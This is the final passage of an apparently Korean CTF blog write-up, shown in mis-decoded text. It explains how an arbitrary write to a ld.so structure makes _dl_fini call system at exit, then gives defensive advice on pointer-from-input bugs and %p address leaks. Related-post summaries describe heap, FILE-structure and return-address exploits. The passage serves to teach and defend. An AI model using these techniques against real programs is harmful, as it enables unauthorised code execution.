__malloc_hook์ด ์•„๋ฌด๋ฆฌ ์ข‹์€ ํ‘œ์ ์ด์–ด๋„ malloc์ด ์•ˆ ๋ถˆ๋ฆฌ๋ฉด ์“ธ๋ชจ๊ฐ€ ์—†๋‹ค. ์ด ํ”„๋กœ๊ทธ๋žจ์€ setvbuf๋กœ ๋ฒ„ํผ๋ง์„ ๊บผ ๋ฒ„๋ ค์„œ ํž™์„ ์•„์˜ˆ ์•ˆ ์“ด๋‹ค. ๋ฐ˜๋Œ€๋กœ _dl_fini๋Š” ์ •์ƒ ์ข…๋ฃŒ๋ผ๋ฉด ๋ฐ˜๋“œ์‹œ ๋ถˆ๋ฆฐ๋‹ค. ๋ฉ”๋‰ด์— 0 ํ•˜๋‚˜ ๋ณด๋‚ด๋ฉด ๋˜๋Š” ํŠธ๋ฆฌ๊ฑฐ์˜€๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ์ธ์ž๊นŒ์ง€ ๊ฐ™์€ ๊ตฌ์กฐ์ฒด ์•ˆ์— ์žˆ์–ด์„œ ๋ฌธ์ž์—ด์„ ์–ด๋”” ์‹ฌ์„์ง€ ๊ณ ๋ฏผํ•  ํ•„์š”๋„ ์—†์—ˆ๋‹ค.

8๋ฐ”์ดํŠธ๊ฐ€ ํ‹€๋ฆฌ๋ฉด ์ฆ์ƒ์ด ์—‰๋šฑํ•˜๊ฒŒ ๋‚˜์˜จ๋‹ค.

+0xF08์„ ๋ฎ์—ˆ์„ ๋•Œ ํ”„๋กœ์„ธ์Šค๋Š” ์ฃฝ์ง€ ์•Š์•˜๊ณ , system๋„ ์‹ค์ œ๋กœ ๋ถˆ๋ ธ๋‹ค. ๋‹ค๋งŒ ์ธ์ž๊ฐ€ /bin0sh์˜€๋‹ค. ์ง„์งœ lock์ด ๋จผ์ € ๋Œ๋ฉด์„œ ๋ฎคํ…์Šค ์นด์šดํ„ฐ๋ฅผ ํ•˜๋‚˜ ์˜ฌ๋ ธ๊ณ , ๊ทธ ์นด์šดํ„ฐ๊ฐ€ ๋‚ด ๋ฌธ์ž์—ด์˜ 5๋ฒˆ์งธ ๋ฐ”์ดํŠธ์˜€๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. "์ฃผ์†Œ๊ฐ€ ํ‹€๋ ธ๋‚˜ ๊ธฐ๋ฒ•์ด ํ‹€๋ ธ๋‚˜"๋ฅผ ๊ฐ€๋ฅด๋ ค๋ฉด ๊ฒฐ๊ตญ ์‹คํ–‰ ์ค‘์ธ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ด์•ผ ํ•œ๋‹ค. gdb ๋ฐฐ์น˜ ์Šคํฌ๋ฆฝํŠธ๋กœ _rtld_global์„ ํ†ต์งธ๋กœ ๋คํ”„ํ•˜๊ณ  ํฌ์ธํ„ฐ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฝ”๋“œ๊นŒ์ง€ ๋””์Šค์–ด์…ˆ๋ธ”ํ•˜๊ณ  ๋‚˜์„œ์•ผ add DWORD PTR [rdi+0x4],1์ด ๋ˆˆ์— ๋“ค์–ด์™”๋‹ค.

๋ฐฉ์–ด ์ชฝ์—์„œ ๋ณผ ๊ฒƒ.

์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ์„ฑ๋ฆฝํ•˜๋ฉด RELROยทPIEยทNXยท์นด๋‚˜๋ฆฌ๋ฅผ ์ „๋ถ€ ์ผœ๋„ ์…ธ๊นŒ์ง€ ๊ฐ„๋‹ค. ์ด ๋ฌธ์ œ์—์„œ ๊ทธ ๋„ท์€ ํ‘œ์ ์„ GOT์—์„œ ld.so๋กœ ์˜ฎ๊ธฐ๊ฒŒ ๋งŒ๋“ค์—ˆ์„ ๋ฟ, ๊ฒฐ๊ณผ๋ฅผ ๋ง‰์ง€๋Š” ๋ชปํ–ˆ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํฌ์ธํ„ฐ๊ฐ€ ๋˜๋Š” ๊ฒฝ๋กœ๋Š” ์™„ํ™” ๊ธฐ๋ฒ•์œผ๋กœ ๋ฎ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์• ์ดˆ์— ๋งŒ๋“ค์ง€ ์•Š๋Š” ๊ฒŒ ์œ ์ผํ•œ ๋‹ต์ด๋‹ค. ์ธ๋ฑ์Šค๋กœ ์ ‘๊ทผํ•  ์ˆ˜๋ฐ–์— ์—†๋‹ค๋ฉด ์ƒํ•œยทํ•˜ํ•œ์„ ์ฝ”๋“œ์— ๋ฐ•๊ณ , ๊ฐ์ฒด ์ฐธ์กฐ๋ฅผ ์ •์ˆ˜ ํ•ธ๋“ค๋กœ ๊ฐ์‹ธ ์›์‹œ ์ฃผ์†Œ๊ฐ€ ์‚ฌ์šฉ์ž ์ชฝ์œผ๋กœ ๋„˜์–ด๊ฐ€์ง€ ์•Š๊ฒŒ ํ•œ๋‹ค.

์ฃผ์†Œ ์œ ์ถœ๋„ ๊ฐ™์ด ๋ด์•ผ ํ•œ๋‹ค. ์ด ๋ฌธ์ œ๋Š” printf("%p", stdout) ํ•œ ์ค„๋กœ libc ์œ„์น˜๊ฐ€ ๋“œ๋Ÿฌ๋‚ฌ๊ณ , ๊ฑฐ๊ธฐ์„œ ld.so๊นŒ์ง€ ๊ณ„์‚ฐ์œผ๋กœ ๋”ฐ๋ผ์™”๋‹ค. ๋””๋ฒ„๊ทธ์šฉ์œผ๋กœ ๋„ฃ์€ ํฌ์ธํ„ฐ ์ถœ๋ ฅ์ด ์šด์˜ ๋นŒ๋“œ์— ๋‚จ์•„ ์žˆ์œผ๋ฉด ASLR์€ ์‚ฌ์‹ค์ƒ ๊บผ์ง„ ๊ฒƒ๊ณผ ๊ฐ™๋‹ค. %p๋กœ ์ฐํžˆ๋Š” ๊ฒƒ๋“ค์€ ๋ฆด๋ฆฌ์Šค ์ „์— ํ•œ ๋ฒˆ์”ฉ ์„ธ์–ด ๋ณด๋Š” ํŽธ์ด ์ข‹๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‡ Gold 3] ์Šคํƒ์— ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ์„ธ์›Œ malloc์„ ์†์ธ๋‹ค โ€” DreamHack house_of_spirit ํ’€์ด
blog

[๐Ÿฅ‡ Gold 3] ์Šคํƒ์— ๊ฐ€์งœ ์ฒญํฌ๋ฅผ ์„ธ์›Œ malloc์„ ์†์ธ๋‹ค โ€” DreamHack house_of_spirit ํ’€์ด

์ž„์˜ ์ฃผ์†Œ free ํ•˜๋‚˜๋กœ ์Šคํƒ ์กฐ๊ฐ์„ tcache ์— ๋ฐ€์–ด ๋„ฃ๊ณ , ๊ฐ™์€ ํฌ๊ธฐ malloc ์œผ๋กœ ๊ทธ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๋˜๋Œ๋ ค๋ฐ›์•„ main ์˜ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š”๋‹ค. glibc 2.27 ์˜ tcache free ๊ฒฝ๋กœ๊ฐ€ ์ฒญํฌ size ์ž์ฒด๋งŒ ๋ณด๊ณ  ๋‹ค์Œ ์ฒญํฌ๋Š” ๋ณด์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์ด ์ „๋ถ€๋‹ค. gdb ๋กœ tcache ํ•ญ๋ชฉ์ด ์Šคํƒ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ˆœ๊ฐ„๊นŒ์ง€ ํ™•์ธํ–ˆ๋‹ค.
#dreamhack#ctf#pwn+5
2026-08-05#dreamhack +4
[๐Ÿฅ‡ Gold 4] FILE ๊ตฌ์กฐ์ฒด๋ฅผ ์œ„์กฐํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ์ œ ์†์œผ๋กœ flag๋ฅผ ๋ฑ‰๊ฒŒ ๋งŒ๋“ค๊ธฐ โ€” DreamHack _IO_FILE Arbitrary Address Read ํ’€์ด
blog

[๐Ÿฅ‡ Gold 4] FILE ๊ตฌ์กฐ์ฒด๋ฅผ ์œ„์กฐํ•ด ํ”„๋กœ๊ทธ๋žจ์ด ์ œ ์†์œผ๋กœ flag๋ฅผ ๋ฑ‰๊ฒŒ ๋งŒ๋“ค๊ธฐ โ€” DreamHack _IO_FILE Arbitrary Address Read ํ’€์ด

fopen์ด ๋Œ๋ ค์ค€ FILE ํฌ์ธํ„ฐ๊ฐ€ ๊ทธ๋Œ€๋กœ read()์˜ ๋ฒ„ํผ๋กœ ๋„˜์–ด๊ฐ„๋‹ค. ๊ตฌ์กฐ์ฒด๋ฅผ ํ†ต์งธ๋กœ ์œ„์กฐํ•ด fwrite๊ฐ€ ๋‚ด๋ ค๊ฐ€๋Š” write(2)์˜ ์ธ์ž ์…‹ โ€” fdยท์†Œ์Šค ์ฃผ์†Œยท๊ธธ์ด โ€” ์„ ์ „๋ถ€ ์šฐ๋ฆฌ ๊ฐ’์œผ๋กœ ๋ฐ”๊พผ๋‹ค. _fileno=1, _IO_write_base=flag_buf๋กœ ๋‘๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์ž๊ธฐ flag๋ฅผ ์†Œ์ผ“์— ์จ ์ค€๋‹ค.
#dreamhack#ctf#pwn+5
2026-07-31#dreamhack +4
[๐Ÿฅ‰ Bronze 4] ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๋Š”๋‹ค โ€” DreamHack Return Address Overwrite ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ get_shell ๋กœ ๋ฎ๋Š”๋‹ค โ€” DreamHack Return Address Overwrite ํ’€์ด

scanf("%s") ๋กœ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ๋„˜์ณ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š”, pwnable ์ž…๋ฌธ์˜ ์ •์„. NX ๊ฐ€ ์ผœ์ ธ ์žˆ์–ด ์Šคํƒ ์…ธ์ฝ”๋“œ๋Š” ๋ชป ์˜ฌ๋ฆฌ์ง€๋งŒ ๋ฐ”์ด๋„ˆ๋ฆฌ ์•ˆ์— execve("/bin/sh") ๋ฅผ ๋ถ€๋ฅด๋Š” get_shell ํ•จ์ˆ˜๊ฐ€ ์ด๋ฏธ ์žˆ๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๊ทธ ํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด ํ๋ฆ„์„ ๊ฐ€์ ธ์˜ค๋Š” ์ฝ”๋“œ ์žฌ์‚ฌ์šฉ(ret2win) ๊ธฐ๋ฒ•์œผ๋กœ ์…ธ์„ ๋„์šด๋‹ค.
#dreamhack#ctf#pwn+5
2026-06-25#dreamhack +3